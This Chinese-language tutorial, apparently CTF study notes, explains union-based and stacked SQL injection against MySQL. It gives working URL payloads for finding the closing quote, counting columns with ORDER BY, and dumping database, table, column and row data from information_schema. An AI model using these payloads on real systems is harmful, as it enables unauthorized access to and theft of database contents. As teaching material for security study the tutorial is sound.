联合注入

联合语句是用来联合多个表进行查询。是将多个表合成为一个表。而在SQL注入中,联合查询的作用是:在已有的系统语句上,通过联合查询可以查询到数据库中的其他内容

这里注意:联合查询时,输出的列数(字段数)需要一致才能成功,否则会报错 The used SELECT statements have a different number of columns

使用例子

1
2
语句1 union all 语句2
语句1 union 语句2

union 和 union all 有细微差别,但影响不大都可以用:

  • union:对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序;

  • union all:对两个结果集进行并集操作,包括重复行,不进行排序;

当将语句 1 返回 false 时,才会显示语句 2 的查询结果,判断显示位时就是利用这一点。

思路顺序

假设有 username 和 password 两个注入点,下面选择用 username 注入

判断注入点

判断注入类型

整数型查询 demo :select * from tablename where id = $_GET[‘id’]

字符型查询 demo :select * from tableName where username=’$_GET[‘username’]’ and username=’$_GET[‘password’]’

假设正常查询 ?username=1 ,然后拼接两次查询:

1
2
?username=1 and 1=1
?username=1 and 1=2

前后页面(查询结果)没有变化是字符型。前后页面(查询结果)有变化是整数型。

判断闭合符

整数型就不用什么闭合符了,直接加上 union :

1
?username=1 union 语句2

字符型就需要判断闭合符号是什么,然后再加上注释符 # 将后面的闭合符号注释,使注入语句脱离闭合符号。(URL中 %23 为 # 的编码)

常见的闭合方式有:''""()('')("")

测试方法:在前面测试类型语句加上闭合符。如果页面(查询结果)有变化,那么闭合符就是当前语句中的。

1
?username=1' and 1=2#

万能密码就是测试闭合符号最好的例子

判断显示位

语句 1 设置查询错误的语句,显示语句 2 查询结果

1
?username=-1' union select 1,2,3,...#

判断字段数

利用 order by 对查询结果按照指定字段进行排序,可以用字段名,也可以用字段的栏位来进行指定,第一个字段为 1,第二个字段为 2 以此类推。

NUM 是字段数,取能够正常查询的最大值就是字段数:

1
?username=admin' order by NUM#

超出字段数报错:Unknown column ‘NUM’ in ‘order clause’

查询信息

以下查询基于有 3 个回显点,1 不显示在页面上,因此将需要查询内容安排在 3

联合查询的语句 2 要放在回显位最后,不然语句 2 拼接有 sql 错误

  • 查询数据库名

    查询 sql 服务器全部数据库名

    1
    ?username=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#

    查询执行 sql 语句的数据库名

    1
    ?username=-1' union select 1,database(),3#
  • 查询表名

    1
    ?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'#
  • 查字段

    1
    ?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'#
  • 查数据

    1
    ?username=1' union select 1,2,group_concat(字段1,字段2,...) from (数据库名.表名)#

参考资料

堆叠注入

堆叠注入为攻击者提供了很多控制权,与仅限于 SELECT 语句的 联合注入 (union injection)攻击不同,堆叠注入可以用于执行任何SQL语句。
联合注入(union injection)是将两条语句合并在一起,union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

原理

sql 分号 ; 表示一条语句的结束。如果在分号 ; 的后面再加一条语句,这条语句也可以被执行,这样就可以在一次数据库的调用中执行多个语句。

1
select * from users where id =1;show databases;

局限性

堆叠注入并不是在每种情况下都能使用的。可能因为API或数据库引擎的不支持,堆叠注入都无法实现。
image.png
代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用联合注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

常用语句

  • 查询数据库

    1
    select flag from FLAG;show databases;
  • 查询表

    1
    select flag from FLAG;show tables;

题目

参考文章